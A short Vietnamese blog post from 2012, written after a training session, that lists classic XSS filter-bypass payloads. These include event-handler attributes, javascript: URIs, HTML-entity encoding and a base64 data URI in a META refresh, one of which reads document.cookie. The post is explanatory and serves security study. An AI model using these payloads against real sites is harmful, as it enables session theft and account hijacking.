Thứ Hai, 5 tháng 11, 2012

Bypass XSS filters


Sau buổi tranning H'sM của bạn Mạnh Luật về XSS chúng ta đã thấy được sự nguy hiểm cũng như mức độ phổ biến của XSS -> có nhiều cách để ngăn chặn XSS -> kẻ tấn công cũng sẽ nghĩ ra nhiều kiểu tấn công mới để vượt qua các "bộ lọc".

Đa số các "bộ lọc" sẽ sử dụng cách cơ bản nhất là chặn các thẻ <script></script>.


Chúng ta sẽ cùng xem một số VD sau:

+Sử dụng các thuộc tính của các thẻ html:

<body onload=alert('test1')>

<b onmouseover=alert('Wufff!')>click me!</b>

<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>

+Sử dụng thuộc tính SRC:
<IMG SRC=javascript:alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
Encode nội dung (UTF-8)
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

+Sử dụng URI đã được encode base64

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

Chú ý: một số code có thể không chạy được trên một số trình duyệt.
Đây chỉ là một ít trong số rất nhiều cách thực thi các đoạn mã javascript
Các bạn có thể tham khảo thêm tại:
http://ha.ckers.org/xss.html

Thân ái,
Việt Nguyễn 

Không có nhận xét nào: